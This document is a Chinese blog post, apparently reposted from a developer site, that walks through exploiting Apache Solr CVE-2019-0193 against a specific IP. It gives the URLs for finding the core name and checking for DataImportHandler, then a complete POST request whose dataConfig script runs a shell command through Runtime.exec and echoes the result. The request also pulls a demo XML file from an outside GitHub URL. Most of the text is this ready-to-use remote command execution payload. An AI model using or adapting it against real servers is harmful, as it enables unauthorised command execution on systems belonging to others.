solr远程命令执行(cve-2019-0193)

影响范围:apache solo < 8.2
solr默认使用端口为8983

一:获取solr索引库core的名称

http://192.168.96.79:8983/solr/admin/cores
查看name字段为atom
在这里插入图片描述

二:判断该索引库是否使用dataimporthandler模块

Atom为根据一找到的库名
http://192.168.96.79:8983/solr/atom/admin/mbeans?cat=QUERY&wt=json
访问该链接,若存在org.apache.solr.handler.dataimport.DataImportHandler 则有
在这里插入图片描述

三:任意命令执行

Atom为根据一查找出来进行替换的

POST /solr/atom/dataimport HTTP/1.1
Host: 192.168.96.79:8983
Content-Length: 1275
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>

  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("pwd").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}

  ]]></script>

        <document>
                <entity name="slashdot"
                        pk="link"
                        url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                        processor="XPathEntityProcessor"
                        forEach="/RDF/channel | /RDF/item"
                        transformer="script:poc">
                        <field column="subject"      xpath="/RDF/channel/subject" commonField="true" />
                        <field column="title"        xpath="/RDF/item/title" />
                        <field column="link"         xpath="/RDF/item/link" />
                </entity>
        </document>
</dataConfig>

在这里插入图片描述返回页面存在回显

参考文档:https://github.com/1135/solr_exploit

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值